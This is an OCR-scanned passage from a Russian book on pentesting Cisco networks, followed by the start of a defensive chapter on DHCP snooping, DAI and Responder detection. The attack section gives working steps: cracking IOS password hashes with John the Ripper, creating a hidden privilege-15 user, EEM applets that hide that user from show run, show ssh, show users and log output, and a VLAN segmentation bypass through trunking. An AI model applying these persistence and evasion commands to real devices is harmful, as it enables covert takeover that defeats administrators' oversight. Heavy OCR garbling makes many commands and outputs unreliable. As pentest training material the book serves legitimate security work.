: cisco IOS Software, vios_ 12 Soft\ll'are ( vios _t2-ADVENТERPRISEK9- M), version 15. 2( 4. е. 55 )Е, TEST ENGINEERING ESTG_\4EEK
_ISP Technicat Support: http://ww.cisco.com/tec:hsupport
Copyright (с) 1986-2015 Ьу Cisco Systems, Inc.
Со
Contact
location
Uptime snmp
Uptime syste■
: 00:39:59,78
System date
{* J Network infonnation:
IP fon,arding enaЫed
yes
Defautt Пl
2S5
ТСР
segments received
224
ТСР
segments sent
segments retrans
ТСР
Input datagrams
Delivered datagrams
Out.put datagrams
145
354
355
,/
290
{•] Net111ork interfaces:
Inter face
[ up ] fiigo1bitEthernet8/O
Id
1
мае
Address
5&:08:80:12:0it:II
ethernet•csmacd
Туре
Speed
1ва1t "ьрs
IПU
1508
64769
2473D1
In oetets
OUt oetets
Interface
Id
Мае
{ up ] fiigabi tEthernetlJ/1
2
Address
se: 011: ее: 02: ее: 01
ethernet-csmacd
1188 Mbps
1500
Туре
Speed
1ПU
Рис. 4.68. Информация об устройстве, полученная через SNMP
Cisco Password
Crackabllity
Best speed
John the Ripper
Hashcat
Т уре О
instant
instant
n/a
n/a
Туре 7
instant
instant
n/a
n/a
Туре 4
easy
26.4 million per second
format•Raw SHA256
m 5100
Туре 5
medium
1.2 million per second
format•mdScrypt
m ~00
Туре 8
ha1d
11.б thousand per second
forrмt•p~kdf2
Туре 9
very hard
1.8 thou5and per second
f orma t •< \. rypt
hmac
ha,
m Э2'10
m 9Ю0
Рис. 4.69. Таблица хешей в Cisco IOS
Теперь приступаем к самому брутфорсу. В выводе команды show run вы наверняка
наткнетесь на такие строчки (рис. 4. 70).
Брутфорс хешей я проведу через утилиту John the Ripper. Немного отформатирую
хеши, чтобы «Джон» смог распознать сами хеши внутри файла, который мы будем
подавать в качестве входных данных (рис. 4.71, 4.72).
Большой гайд по пентесту сетей Cisco
121
usernamc lies privilege 1'> secret 5 $1$cBgU$'>ulg01'ЫAR7 'ГAynZoe wq'>/
11sernamc anxjous privilegc ~ sccrcl ~ $1$U060$KB M 8 . i'1r/yZ6 Мh t0dl,ImPO
usernamc nightmare privilege 1'> secret В $8$rUhDcLr:c/lJzi .b$1 dМ jD9kJkC2 M OIINNY°/PoeHjD4jMC l ,k9Aq~N,-v'> Wknlw
Рис . 4.70. Учетные записи и их пароли в зашифрованном виде
username lies privilege 15 secret 5 $1$cBgU$5ulg0TЫAR7TAynZoewq5/
username anxious privilege 5 secret 5 $1$UOбO$KВМ8.i4r/yZ6Mbt0dLimP0
username nightmare privilege 15 secret 8 $8$rUhDcLEc/Dzi.b$1dMjD9kJkC2M0HNNY7PoeHjD4jMCLk9Aq2Nrv5Wknlw
Рис. 4.71. Хеши перед форматированием
l ies: $1$cBgU$5ulg0TЫAR7ТAynZoeir1qS/
anxious:$1$UO6O$KBMB.i4r/yZ6Mbt0dLimP0
nightmare:$8$rUhDcLEc/Dzi.b$1dMjD9kJkC2M0HNNY7PoeHjD4jMCLk9Aq2Nrv5Wknlw
Рис. 4.72. Хеши после форматирования
Начинаем брутфорс.
С
путь до словаря .
помощью ключа --wordl i st указываем
«Джон » сам определит тип хешей внутри файла (рис. 4.73).
Полученные кр еды : anxious : Sec retl23 , l ies:P@ssw0r d.
Попробуем
зайти
на
маршрутизатор
10 . 10 . 10 .1 00
от
имени
пользователя
l i es
(рис . 4.74).
necreas1ngii1Inguz: ~/bruteforcehashes$ john hashes --v,ordl ist=wordlist forbrute
11/arning: detected hash type 'mdScrypt", but the string is atso recognized as 'mdScrypt-tong'
Use the •--format=mdScrypt-tong' option to force loading these as that type instead
11/arning: onty toading hashes of type 'mdScrypt", but atso saw type 'РВКDF2-НМАС-SНА256'
Use the •--format=PBKDF2-НМAC-SНA256' option to force toading hashes of that type instead
Using default input encoding: UТF-8
Loaded 2 password hashes with 2 different salts (mdScrypt, crypt(З) $1$ (and variants) [MDS 256/256 AVX2 8х3])
Wi Н run 4 OpenMP threads
Press 'q' or Ctrt-c to abort, a1most any other key for status
warning: Only 6 candidates teft, minimum 96 needed for performance.
(a11xious)
Secret123
( lies)
P@ssw0rd
2g е:ео:ее:ео DONE (2022-07-14 13:09) 200.eg/s 600.l!p/s 1200c/s 1200c/s Secret12345 .. toor
Use the •--show' optio11 to display alt of the cracked passwords retiaЫy
Session completed.
nec r e~~~pgiI ~gu_~ ;,:::l~:.uteforc~ha_shes$
~-~ _-:/1'.,,;~ '.::;~1i?.iI;; •. '·
Рис . 4.73. Взломанные пароли пользователей lies и anxious
122
Глава 4
Рис. 4.74. Вход в панель управления маршрутизатором от имени lies
Cisco ЕЕМ
Cisco ЕЕМ -
это, скажем так, «язык программирования». с помощью которого
можно писать сценарии для Cisco IOS и автоматизировать рутинные задачи. В рам­
ках пентеста Cisco ЕЕМ поможет нам спрятать соцанного нами пользователя на
взломанном устройстве.
Но у такого метода есть и свои недостатки:
□ есть небольшая вероятность спалиться в логах сервера SYSLOG или SNMP;
□ если сетевой инженер тоже использует Cisco ЕЕМ. он может заподозрить что-то
неладное.
Сначала нам нужно создать самого пользователя. который будет применяться для
закрепления на оборудовании. Следите. чтобы у имени тоже был префикс hidden _.
С помощью этого префикса мы и будем прятать созданного нами пользователя по
маске
I hidden:
OWned(config)# username hidden_grimoire privilege 15 secret youcantseewhatyouwannasee
Большой гайд по пентесту сетей Cisco
123
Прячемся от вывода команды show run
Эту команду очень часто применяют сетевые инженеры, она выводит конфигура­
цию устройства, которая используется в данный момент.
Owned(config)# event manager applet hide_from_showrun
Owned(config-applet)# event cli pattern "show run" sync yes
Owned(config-applet)# action О.О cli command "еnаЫе"
Owned(config-applet)# action 1.0 cli command "show run I exclude hidden I event I action"
Owned(config-applet)# action 2.0 putэ "$_cli_result_showrunapplet"
Прячемся от вывода команды show ssh
А эта команда выводит активных в данный момент пользователей, подключенных
через SSH.
Owned(config)# event manager applet hide_from_showssh
Owned(config-applet)# event cli pattern "show ssh" sync yes
Owned(config-applet)# action О.О cli command "еnаЫе"
Owned(config-applet)# action 1.0 cli command "show ssh I exclude hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showsshapplet"
Прячемся от вывода команды show users
Выводит активных в данный момент пользователей, подключенных через
VTY.
Обычно это удаленные ~ессии Telnёt и SSH.
Owned(config)# event manager applet hide_from_showusers
Owned(config-applet)# event cli pattern "show users" sync yes
Owned(config-applet)# action О.О cli command "еnаЫе"
Owned(config-applet)# action 1.0 cli command "show users I exclude hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showusersapplet"
Прячемся от вывода команды show log
(локальное логирование Cisco IOS)
Owned(config)# event manager applet hide_from_showlog
Owned(config-applet)# event cli pattern "show log" sync yes
Owned(config-applet)# action О.О cli command "еnаЫе"
Owned(config-applet)# action 1.0 cli command "show log I exclude НА_ЕМ
Owned(config-applet)# action 2.0 puts "$_cli_result_showlogapplet"
1
_hidden"
У апплетов ЕЕМ много интересных функций, советую не ограничиваться этими
способами. Только не доведите бедного сетевика до инфаркта с этими апплетами!
Lateral VLAN Segmentation Bypass
Если вы получили доступ к коммутатору, к которому подключены напрямую, у вас
появляется возможность обхода VLАN-сегментации внутри сети. Достаточно пере-
Глава 4
124
ключить порт в режим магистрального канала (иначе называемого транком), соз­
дать виртуальные интерфейсы с идентификаторами целевых VLAN-ceтeй и настро­
ить IР-адрес. Можно попробовать запросить адрес динамически (ОНСР), а можно
настроить статически. Смотря какой случай.
Сначала нужно выяснить, к какому именно порту вы подключены. Это делается
через СОР-сообщения, либо можете поискать порт по маске include (рис. 4.75).
Рис. 4. 75. СОР-объявление от коммутатора. Мы на порту GigabltEthernet 0/2
Если вдруг СОР отключен, можно попробовать поискать порт по нашему МАС­
адресу (рис. 4.76).
SWl(config)# show mac address-taЫe I include 0050.0000.0500
SWl#show mac
1
address-taЫe
0050 . 0000 . 0500
SIO#
I incluae 0050 . 0000 . 0500
DYNAHIC
Gi0/2
•
S1'71#
SIП#
Рис. 4.76. Найден порт Gi0/2 по МАС-адресу
Перед тем как переключиться в режим транка, необходимо перечислить сущест­
вующие сети VLAN, выяснить их идентификаторы. Потом эти идентификаторы мы
будем вешать на свой интерфейс, чтобы получать доступ к сетям VLAN. Таким об­
разом, благодаря транку мы можем получить доступ в любую сеть VLAN. Кстати
говоря, порт, к которому мы подключены, принадлежит сети VLAN
SWl# show vlan brief
I О (рис. 4. 77).
125
Большой гайд по пентесту сетей Cisco
SWl#show vlan brief
Status
Ports
1
active
~о
act1sr7e
Gi0/1, Gil/2
Gi0/2, Gi0/3
Gil /0
G1l/l
Gil /3
\'LAN
Naroe
default
VLAN00l0
VLAN0020
20
VLAN0050
50
VLAN0060
60
1002 fddi-default
1003 token-ring-default
1004 f ddinet-default
1005 trnet-defa ult
SNHI
active
act1ve
active
act /uл.sup
act /uпsup
act/U.I'!SUP
act /uпsup
Рис. 4.77. Информация о текущих сетях VLAN
Приступим . Входим в режим конфигурации интерфейса и переходим в транковый
режим.
SWl (config)# interface GigabitEthernet 0/2
SWl (config- if)# switchport -trunk encapsulation dotlq
SWl (config-if )# switchport mode trunk
Во
время
переключения
в
режим
магистрального
канала
теряется
связность
(рис. 4. 78). Но скоро я это исправлю.
Создаем виртуальные интерфейсы и «вешаем» на них VLAN 1D, а затем поднима­
ем их.
:"~f
in ;
~
Aecreasln(iinJuz :~$ ping 10.10.10.100
PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data.
From 10.10.10.12 icmp_seq=13 Destination Host unreachaЫe
From 10.10.10.12 icmp_seq=14 Destination Host UnreachaЫe
From 10.10.10.12 icmp_seq=1S Destination Host UnreachaЫe
From 10.10.10.12 icmp_seq=16 Destination Host UnreachaЫe
From 10.10.10.12 icmp_seq=17 Destination Host UnreachaЫe
From 10.10.10.12 icmp_seq=18 Destination Host UnreachaЫe
From 10.10.10.12 icmp_seq=19 Destination Host UnreachaЫe
From 10.10.10.12 icmp_seq=20 Destinatj~on Host UnreachaЫe
From 10.10.10.12 icmp_seq=21 Destinat1on Host UnreachaЫe
From 10.10.10.12 icmp_seq =22 Destination Host UnreachaЫe
From 10.10.10.12 icmp_seq=23 Destination Host UnreachaЫe
From 10.10.10.12 icmp_seq=24 Destination Host UnreachaЫe
From 10.10.10.12 icmp_seq=2S Destination Host UnreachaЫe
From 10.10.10.12 icmp_seq=26 Destination Host UnreachaЫe
From 10.10.10.12 icmp_seq=27 Destination Host UnreachaЫe
Рис. 4.78. Потеря связности в момент переключения режима порта
Глава 4
126
caster@kali:~$ sudo vconfig add eth0 10
caster@kali:~$ sudo vconfig add eth0 20
caster@kali:~$ sudo vconfig add eth0 50
caster@kali:~$ sudo vconfig add eth0 60
caster@kali:~$ sudo ifconfig eth0 ._10 up
caster@kali:~$ sudo ifconfig eth0.20 up
caster@kali:~$ sudo ifconfig eth0.50 up
caster@kali:~$ sudo ifconfig eth0.60 up
Теперь нужно запросить адрес по
DHCP (рис. 4.79). Но если в вашем случае не
будет такой возможности, можно настроить адрес статически.
caster@kali:~$ sudo dhclient -v eth0.10
caster@kali:~$ sudo dhclient -v eth0.20
caster@kali:~$ sudo dhclient -v eth0.50
caster@kali:~$ sudo dhclient -v eth0.60
4: eth0 .10ё)eth0: <BROADCAST ,MULТICAST, UP, LOWER_UP> mtu 1500' qdiscl noiiue'ueis ta t~. UP group default qlen 1000
l i nk/ether 00 :50:00 :00:05:00 brd ff:ff:ff:ff:ff :ff
i net 10.10.10.1 /24 brd 10.10.10.255 scope global dynamic eth0.10
valid_lft 85946sec preferred_l f t 85946sec
•
inetб fe80::250:ff:fe00:500/64 scope link
va lid_1ft forever prefeпed _1ft forevet·
.
5: eth0.20a)eth0: <BROADCAST,MULТICAST,UP,LOWER_UP> mtu 1_500 qdisc 'noqueue state UP group default qlen 1000
l i nk/ether 00:50:00:00:05 :00 brd f f:ff:ff:ff :ff:ff
•
inet 10.10.20.1 /24 brd 10.10.20,255 scope global dynamic eth0.20
val i d_l ft 85984sec preferred_lft 85984sec
i netб fe80::250:ff:fe00:50e /б4 scope link
valid_lft forever preferred_lft forever
б: eth0.50ii)eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00 :50:00 :00 :05 :00 brd ff : f f :ff:ff:ff :ff
•
inet 10.10.50.1/24 brd 10.10.50.255 scope global dynamic eth0.50
valid_lft 86252sec preferred_lft 86252sec
i netб fc80::2~0:ff:feB0:50e /б4 scope l i nk
val i d_lft forever preferred_lft forever
7: eth0.60ё)eth0: <BROADCAST,MULТICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:50:00: 00 :05:00 brd ff : ff:ff : ff :f f : ff
inet 10.10.60.1 /24 brd 10.10.60.255 scope global dynamic eth8.б0
val i d_lft 86274sec preferred_lft 86274sec
inetб fe80::250:ff:fe00:500 /64 scope link
valid_lft forever preferred_lft forever
necreaslngilnguz :•$
Рис. 4.79. Полученные по DHCP адреса
Пример настройки статического IР-адреса на интерфейсе (VLAN 1О):
caster@kali:~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.215.0
Для проверки связи инициирую IСМР-запросы до шлюзов по умолчанию для сетей
VLAN 1О, 20, 50, 60 (рис. 4.80).
В итоге я обошел УLАN-сегментацию и могу пробиться в любую УLАN-сеть, что
развязывает мне руки для следующих шагов.
Большой гайд ло лентесту сетей Cisco
127
necreaslngiilinguz :- p1ng 10.10.10.100
PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data.
64 bytes from 10.10.10.100: icmp_seq=l ttl=255 time=2.73 ms
"с
--- 10.10.10.100 ping statistics --1 packets transmitted, 1 received, 01 packet loss, time ems
rtt min/avg/max/mdev = 2.726/2.726/2.726/0.000 ms
necreaslnga!Inguz : ~$ ping 10.10.20.100
PING 10.10.20.100 (10.10.20.100) 56(84) bytes of data.
64 bytes from 10.10.20.100: icmp_seq=l ttl=255 time=B.60 ms
64 bytes from 10.10.20.100: icmp_seq=2 ttl=255 time=4.16 ms
"с
--- 10.10.20.100 ping statistics --2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 4.156/6.379/8.602/2.223 ms
necreaslngiilinguz :- $ ping 10.10.50.100
PING 10.10.50.100 (10.10.50.100) 56(84) bytes of data.
64 bytes from 10.10.50.100: icmp_seq=l ttl=255 time=S.95 ms
64 bytes from 10.10.50.100: icmp_seq=2 ttl=2SS time=4.28 ms
64 bytes from 10.10.50.100: icmp_seq=З ttl=255 time~2.72 ms
"с
--- 10.10.50.100 ping statistics --3 packets transmitted, З received, 0Х packet loss, time 2002ms
rtt min/avg/max/mdev = 2.718/4.315/5.946/1.318 ms
necreaslngiilinguz : ~$ ping 10.10.60.100
PING 10.10.60.100 (10.10.60.100) 56(84) bytes of data.
64 bytes from 10.10.60.100: icmp_seq=l ttl=255 time=5.79 ms
64 bytes from 10.10.60.100: icmp_seq=2 ttl=255 time=2.66 ms
64 bytes from 10.10.60.100: icmp_seq=З ttl=2SS time=2.49 ms
1
Рис. 4.80. Связность до шлюзов
Conf iguration Enumeration
Классическое перечисление конс:ригурации
С помощью команды
show run можно в1,1яснить, какая конфигурация исполняется
в данный момент (рис. 4.81 , 4.82). Это раскрывает некоторые особенности инфра­
структуры. Возможно, эта информация приведет вас к более легкой «победе» во
время пентеста. Например, вдруг вы обнаружите использование АЛА-сервера, что
открывает еще один вектор атаки.
OWned# show run
Глава 4
128
duplex auto
speed auto
media- type rj45
hostname GWl
boot-start -marker
boot-end-marker
interface GigabitEthernet0/0.10
encapsulation dotlQ 10
ip address 10.10 . 10.100 255.255.255.0
no ааа new-model
ethernet lmi се
interface GigabitEthernet0/0.20
encapsulation dotlQ 20
ip address 10.10.20.100 255.255.255.0
mmi polling-interval 60
no mmi auto-configure
no mmi pvc
mmi snmp- timeout 180
ip dhcp pool net
network 10.10.100.0 255.255.255.0
default - router 10.10.100.100
ip dhcp pool vlan10
network 10.10.10.0 255.255.255.0
default-router 10.10.10.100
ip dhcp pool vlan20
network 10.10.20.0 255.255.255.0
default-router 10.10.20.100
ip dhcp pool vlan50
network 10.10.50.0 255.255.255.0
default-router 10.10.50.100
interface Gi gabitEthernet0/0.50
encapsulation dotlQ 50
ip address 10.10.50.100 255.255.255.0
interface G i gabitEthernet0/0.б0
encapsulation dotlQ 60
ip address 10.10.60.100 255 . 255.255.0
interface GigabitEthernet0/1
ip address dhcp
ip nat outside
i p v i rtua l- reassemЫy in
duplex auto
speed auto
media - type rj45
interface GigabitEthernet0/2
по ip address
shutdown
duplex auto
speed auto
media- type r j 45
interface GigabitEthernet0/3
по ip address
shutdown
duplex auto
speed auto
n1edia - type rj45
ip forward - protocol nd
ip dhcp pool vlan60
network 10.10.60.0 255.255.255.0
default-router 10.10.60.100
--More-- 1
Рис. 4.81. Перечисление конфиrурации,
Рис. 4.82. Перечисление конфиrурации,
часть 1
часть 2
Cisco IOS ver. enumeration
Будет полезно узнать версию Cisco IOS на устройстве (рис. 4.83). С помощью этой
информации пентестер сможет перебрать версию Cisco IOS и, узнав ее, эксплуати­
ровать уязвимости. Вдруг он попал на роутер с учеткой read-only, а потенциальное
наличие уязвимости даст ему LPE? Кто знает ...
Owned# show version
Большой гайд по пентесту сетей Cisco
129
GWlRshow version
Cisco IOS Software, IOSv Softwa1·e (VIOS-ADVENТERPRISEK9-M), Version 15. 5( 3)М, RELEASE SOFТWARE (fcl)
Technical Suppo1·t: http: //W'IМ. cisco. com/techsuppo1·t
topyright (с) 1986-2015 Ьу Cisco Systems, Inc.
Compiled Wed 22-Jul-15 23:04 Ьу p1·od_rel_team
R0/,1: Bootstrap prog1·am is IOSv
G\111 uptime is 5 days, 12 hours, 11 minutes
System retu·rпed to RОМ Ьу reload
System image ·fite is "ftash0:/vios-adventerprisek9-m"
Last retoad reason: Unknown reason
This product contains cryptographic features and is subject to United
States and local country laws governing import, export, transfer and
use. Delivery of Cisco cryptographic products does not imply
third-party authority to import, export, distribute or use encryption.
_Importe1·s, exporters, dist1·ibutors and users are responsiЫe for
compliance with u.s. and local country laws. Ву using this product you
agree to comply with applicaЫe laws and regulations. If you are uпаЫе
to comply with u.s. and local laws, return this product immediately.
А
summary of U.S. laws governing Cisco cryptographic products may Ье found at:
http://11МV1.cisco.com/111~l/export/crypto/tool/stqrg.html
If you require further assistance please contact us Ьу sending email to
export@cisco.com.
Cisco IOSv (revision 1.0) with with 98431ЗК/б2464К bytes of memory.
P1·ocessor board ID 9726039B3KFТYYLWбDAH6
4 Gigabit Ethernet interfaces
DRA/11 configuration is 72 bits wide with parity disaЫed.
256К bytes of non-volatile configuration memory.
2097152К bytes of АТА System CompactFlash 0 (Read/Write)
0К bytes of АТА CompactFtash 1 (Read/Write)
ОК bytes of АТА CompactFlash 2 (Read/Write)
0К bytes of АТА CompactFlash з (Read/Write)
Configuration register is 0х0
GW1/IJ
Рис. 4.83. Версия Cisco vlOS
ССАТ
ССА Т (Cisco Config Analysis Тоо\, hUps://github.com/frostblts-security/ccat) -
это
специальный инструмент, созданный для анализа файлов конфигурации оборудо­
вания Cisco на предмет брешей в безопасности (рис . .4.84). Он поможет автоматизи­
ровать процесс поиска мисконфиrураций безопасности и будет полезен как пенте­
стерам, так и сетевым администраторам.
caster@kali:-/ccat$ pythonЗ ccat.py showrunfromswl.txt
Глава 4
130
r1ec гeaslng@Inguz :-/ccat$ wc - l slюwrunfroinsw1. txt
152 showrunfromswl.txt
•
nccгeas1ng@Inguz :-/ccat $ pythonЗ ccat.py slюwrunfr011sw1.txt
/home/necreaslng/ccat/checks/ip_g1oba1.py:78: SyntaxWarning: "is not• with а 1itera1. Did you mean "! ="?
if resu1ts_dict['IP options']['WEB server']['type'][l] is not 'DISABLED':
-------------------- RESULTS FOR : showrunfromswl.txt --------- ----- -----Seгvices
encrypt i on
- password
tcp keepa1ives in
[ OISAВLEO ]
[DISAВLEO]
[DISAВLEO]
[ ENAВLED ]
[ DISAВLED ]
[ ENAВLED ]
[ 01SA8LEO ]
[ OISAВLED ]
- t cp keepa1ives out
- pad
- confi g
i nsta1l
-- smart
udp sma11 servers
- tcp sma11 server s
IP options
- SSH vers i on
- service identd
- servi ce source- route
- servi ce bootp server
- service f i nger
- WEB server type
- ARP inspecti on
- DHCP snooping
[вотн ]
[ DISAВLED ]
[ DISAВLED ]
[ DISAВLED ]
[ DISAВLEO ]
[ DISAВLED ]
[ DISAВLED ]
[ DISAВLED ]
Lines
Link Layer Discovery Protocol(LLDP)
- LLDP
[ DISAВLED ]
ААА
- 1ine con е uses ААА 1i st
- 1ine aux В uses ААА 1ist
- 1i ne vty е 4 uses ААА 1ist
[ но ]
[но]
[ но ]
NТР
[е]
- Number of NТР servers
VLAN Trunking Protocol
Spanning-tree options
- Por tfast
- Loopguard
[WARНING ]
[WARНING]
Рис. 4.84. ССАТ анализирует файл конфигурации
Выводы
Вот что может быть в сетях, где используется оборудование Cisco, если их админи­
стрируют недальновидные сетевые инженеры. На это исследование я потратил пол­
тора месяца и был удивлен, сколько векторов существует при атаке на Cisco-basedceти. Очень надеюсь, что мое исследование подарит пентестерам новые векторы
атак, а сетевые администраторы задумаются о защищенности своих сетей и примут
соответствующие меры.
ГЛАВА 5
Защищаем сети от спусринг-атак
Спуфинг-атаки просты в исполнении, но при этом несут огромный импакт. В этой
главе мы поговорим о них с точки зрения защищающейся стороны. Сложность
в том, чтобы с умом интегрировать решения сетевой безопасности в продакшен и
при этом не сломать бизнес-процессы. При такой интеграции нужно хорошо пони­
мать работу сети и особенности оборудования. Только тогда вас ждет успех.
Эта глава -
ни в коем случае не инструкция для защиты любой сети, потому что
у каждой из них свои особенности и всегда потребуется какой-то тюнинг. Я буду
демонстрировать работу на оборудовании
Cisco, но с железом другого вендора
принципиальной разницы нет. Концепция механизмов безопасности везде одинако­
вая, и отличия будут лишь в синтаксисе настроек и некоторых нюансах реализации.
Немного особняком стоит только система RouterOS, на которой работает оборудо­
вание MikroTik. Там отсутствует один из главных, на мой взгляд, механизмов безо­
пасности -
Dynamic ARP lnspection. Вместо него производитель фактически пред­
лагает вести только статическую АRР-таблицу, а, учитьmая размеры современных
корпоративных сетей, это в принципе нерентабельно. Также в 'RouterOS отсутству­
ет RA Guard, предотвращающий атаки на сервер DHCPv6.
Еще оговорюсь, что этот материал -
не всеобъемлющий мануал по защите от спу­
финrа. Типов атак может быть бесконечно много, и мы рассмотрим лишь основные
из них.
DHCP Snooping
DHCP Snooping -
это функция сетевой безопасно~ти на уровне коммутации. Она
позволяет защитить сетевые сегменты от атак на DНСР-сервер. К ним относятся
следующие виды:
□
DHCP Exhaustion -
вызывает истощение адресного пространства на легитим­
ном DНСР-сервере, рассылая ложные DHCPDISCOVER-cooбщeния от разных
МАС-адресов источника. DНСР-сервер будет реагировать на сообщения и выда­
вать адреса. После атаки DНСР-сервер не сможет обслужить новые хосты.
Глава 5
132
Обычно эту атаку используют либо для деструктивного воздействия, либо для
атаки DHCP Spoofing;
□
DHCP Spoofing -
создание ложного DНСР-сервера, который будет обслужи­
вать клиентов сети. Опасность атаки заключается в том, что атакующий в ин­
формации о шлюзе по уморчанию просто установит свой адрес и тем самым
проведет МПМ-атаку, т. к. трафик хостов будет идти в его сторону.
Настройка Snooping -
это, по сути, назначение доверенных и недоверенных пор­
тов. На недоверенных портах будут отслеживаться все DНСР-сообщения. Цель
состоит в том, чтобы проверить, сгенерированы ли они DНСР-сервером. Ведь оче­
видно:
если в пользовательском сегменте мы будем
видеть сообщения вроде
DHCPLEASEQUERY, DHCPOFFER и DHCPACK, то это однозначно аномалия и в пользовательской
сети находится DНСР-сервер (рис. 5.1 ).
Рис. 5.1. Работа DHCP Snooping
На доверенных же портах все DНСР-сообщения будут считаться легитимными.
Обычно доверенные порты настраиваются на соединениях между коммутаторами и
маршрутизаторами, а недоверенные конфигурируются на портах, куда подключа­
ются конечные станции (например, компьютер, принтер, точки доступа, VolP).
Теперь к конфигурации. Предположим, перед нами коммутатор
Cisco. Его порт
g0/2 смотрит в сторону маршрутизатора, а значит, этот порт нужно обязательно
сделать доверенным для DHCP Snooping, т. к. это промежуточное устройство, от
которого могут лететь легитимные DНСР-сообщения. Может быть, DНСР-сервер
находится на самом роутере или даже за роутером (в таком случае применяют
DHCP Relay). А порты f0/1-24 -
это порты, к которым подключаются конечные
станции, их нужно сделать недоверенными, поскольку именно от пользовательских
подключений есть риск атаки на
DHCP. Заметьте, DHCP Snooping включается
именно на сегментах VLAN. Еще нужно указывать адрес авторизованного DНСР­
сервера, который доступен через доверенный порт коммутатора.
Защищаем сети от спуфинг-атак
133
Все порты по умолчанию недоверенные, поэтому нам нужно явно указать, какие
порты будут доверенными. Затем глобально включить DHCP Snooping и Snoopingпpoцecc для сегмента VLAN.
NightmareSwitch(config)# interface g0/2
NightmareSwitch(config-if)# ip dhcp snooping trust
NightmareSwitch(config)# ip dhcp-server <IP ADDRESS>
NightmareSwitch(config)# ip dhcp snooping
NightmareSwitch(config)# ip dhcp snooping vlan <VLAN ID>
Теперь коммутатор будет насыщать таблицу DHCP Snooping, занося в нее МАС, IP,
VLAN 1D клиентов, получивших адрес по DHCP.
При
необходимости
можно создать статическую запись
в базе данных
DHCP
Snooping:
NightmareSwitch(config)# ip dhcp snooping binding <МАС> vlan <VLAN ID> <IP ADDRESS>
interface <INTERFACE ID> expiry <SECONDS>
Команды для отладки и проверки состояния DHCP:
NightmareSwitch(config)# show ip dhcp snooping
NightmareSwitch(config)# show ip dhcp snooping statistics
NightmareSwitch(config)# show ip dhcp sпoopiпg biпding
Для надежности необходимо записывать содержимое таблицы
DHCP Snooping
в память коммутатора: вдруг свитч внезапно уйдет в перезагрузку, а таблица DHCP
Snooping потеряется. Если это будет вместе с Dynamic ARP lnspection, то мы полу­
чим сетевой паралич.
NightmareSwitch(config)# ip dhcp sпooping database flash:/snoopiпg.dЬ
Кстати, базу данных Snooping можно не только хранить в памяти коммутатора, но и
передать по службам FTP, НТТР, RCP, SCP, TFTP.
NightmareSwitch(coпfig)#
•
ip dhcp snooping database?
flash:
ftp:
https:
rcp:
scp:
tftp:
timeout:
write-delay
DAI & IPSG
Обычно Dynamic ARP lnspection (DAI) настраивается вместе с DHCP Snooping, так
что это, по сути, продолжение предыдущей части.
DAI позволяет предотвращать АRР-спуфинr внутри сети благодаря отслеживанию
всего АRР-трафика. И здесь есть очень важный момент. Чтобы инспекция работала,
134
Глава 5
ей нужно на чем-то основываться, и вся ее работа напрямую зависит от DHCP
Snooping. DAI на основе таблицы DHCP Snooping будет проверять валидность
АRР-ответов, т. е. проверять, действительно ли такая
привязка МАС-адреса и
IР-адреса есть внутри сети. Если нет, то DAI мгновенно заблокирует такой трафик.
Однако при интеграции DAI в продакшене нужно позаботиться о том, чтобы таб­
лица DHCP Snooping была полностью насыщена. То есть в нее должны попасть
абсолютно все хосты внутри сети. В противном случае трафик не попавших туда
легитимных хостов будет заблокирован, что нарушит бизнес-процессы.
WARNING
DAI обязательно настраивается после DHCP Snooping, и необходимо время, чтобы
все хосты попали в таблицу DHCP Snooping, иначе вы получите нерабочую сеть, а DAI
будет блокировать входящий трафик от всех хостов .
Настройка DAI опирается на ту же концепцию доверенных и недоверенных портов.
Как и в случае с DHCP Snooping, все порты коммутатора по умолчанию недоверен­
ные. И в остальном то же самое: доверенные порты торами и роутерами, недоверенные -
это порты между коммута­
пользовательские порты. На недоверенных
портах стоит включить IP Source Guard (IPSG), который будет проверять источник
запросов.
NightmэreSwitch(config)#
int g0/2
ip arp inspection trust
NightmэreSwitch(config)# interface range f0/1-24
NightmэreSwitch(config-if-range ) # ip verify source
NightmэreSwitch(config-if)#
При необходимости можно создать ARP ACL, чтобы не проверять устройства со
статическим IP. Вдруг в вашей сети есть хосты со статическим адресом.
NightmareSwitch(config-if)# arp access-list DAI
NightmareSwitch (config-arp-nacl)# permit ip host <IP> mac host <МАС>
Кстати, для IPSG можно тоже создавать статические записи внутри коммутатора,
но это делается без ACL.
NightmareSwitch(config)# ip source Ыnding <МАС> vlan <VLAN ID> <IP ADDRESS> interface
<INTERFACE ID>
Рис. 5.2. Проверка со стороны DAI
135
Защищаем сети от спуфинг-атак
Закончив настройку и убедившись, что нужные статические адреса забиндились,
а таблица DHCP Snooping полностью насыщена, включаем сам DAI. DAI, как и
DHCP Snooping, включается именно на сегментах VLAN (рис. 5.2).
NightmareSwitch(config)# ip arp inspection vlan <VLAN ID>
Обнаружение и блокировка
инструмента Responder
У RouterOS есть несколько проблем сетевой безопасности. Давайте посмотрим, на
какие из них стоит обратить внимание в первую очередь.
Responder (https://github.com/lgandx/Responder) -
это инструмент пентестеров,
позволяющий перехватывать учетные данные внутри сетевой инфраструктуры,
в основном он применятся в средах с Windоws-машинами. Однако превентивные
меры
против
Responder
обычно заканчиваются лишь выключением МСАSТ­
протоколов, таких как LLМNR, NBNS и MDNS.
В этой главе я постараюсь выжать максимум из сетевого коммутатора и попробую
защитить машины Windows от атак на эти протоколы без выключения самих про­
токолов. Responder еще позволяет проводить нестандартные атаки на основе даун­
грейда, но они уже выходят за рамки исследования, и я рассмотрю только основные
меры блокировки.
Responder состоит из двух частей:
□ сниффер реагирует на передачу данных по протоколам LLМNR, NBNS, МDNS.
То есть Responder в активном режиме прослушивает трафик и ждет, не появятся
ли они;
□
Poisoner отвечает на запросы разрешения имен по перечисленным протоколам,
в результате чего Responder выдает себя за запрашиваемые ресурсы. То есть
здесь возникает сценарий МПМ (человек посередине). Атакующий перехваты­
вает учетные данные в зашифрованном виде (например,
NetNTLMv2-SSP), а
хеш получает при помощи ложного SМВ-сервера, также запущенного через
Responder.
Анализ процесса отравления
Для обнаружения нам нужно за что-то зацепиться. В этом случае -
проанализиро­
